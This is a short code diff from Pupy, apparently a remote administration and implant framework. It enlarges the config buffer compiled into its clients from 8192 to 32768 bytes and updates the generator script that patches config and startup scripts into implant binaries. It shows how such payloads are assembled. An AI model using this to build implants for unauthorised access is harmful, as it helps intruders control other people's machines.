diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c index 83690036..d09ae254 100644 --- a/client/sources-linux/pupy.c +++ b/client/sources-linux/pupy.c @@ -21,7 +21,7 @@ int linux_inject_main(int argc, char **argv); static const char module_doc[] = "Builtins utilities for pupy"; -static const char pupy_config[8192]="####---PUPY_CONFIG_COMES_HERE---####\n"; +static const char pupy_config[32768]="####---PUPY_CONFIG_COMES_HERE---####\n"; static PyObject *ExecError; diff --git a/client/sources/pupy.c b/client/sources/pupy.c index 9834b983..efbdf4f3 100644 --- a/client/sources/pupy.c +++ b/client/sources/pupy.c @@ -9,7 +9,7 @@ #include "base_inject.h" static char module_doc[] = "Builtins utilities for pupy"; -char pupy_config[8192]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup +char pupy_config[32768]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup. scriptlets also takes more space ! extern const DWORD dwPupyArch; #include "resources_library_compressed_string_txt.c" diff --git a/pupy/pupygen.py b/pupy/pupygen.py index 3dae285d..afae7a8f 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -29,6 +29,7 @@ import getpass import json ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__))) +HARDCODED_CONF_SIZE=32768 def get_edit_binary(path, conf): logging.debug("generating binary %s with conf: %s"%(path, conf)) @@ -55,16 +56,17 @@ def get_edit_binary(path, conf): new_conf = struct.pack('>II', compressed, uncompressed) + new_conf new_conf_len = len(new_conf) - if new_conf_len > 8192: + + if new_conf_len > HARDCODED_CONF_SIZE: raise Exception( - 'Error: config or offline script too long ({}/8192 bytes)' - 'You need to recompile the dll with a bigger buffer'.format(new_conf_len) + 'Error: config or offline script too long ({}/{} bytes)' + 'You need to recompile the dll with a bigger buffer'.format(new_conf_len, HARDCODED_CONF_SIZE) ) - new_conf = new_conf + os.urandom(8192-new_conf_len) + new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE-new_conf_len) offset = offsets[0] - binary = binary[0:offset]+new_conf+binary[offset+8192:] + binary = binary[0:offset]+new_conf+binary[offset+HARDCODED_CONF_SIZE:] return binary def get_raw_conf(conf, obfuscate=False):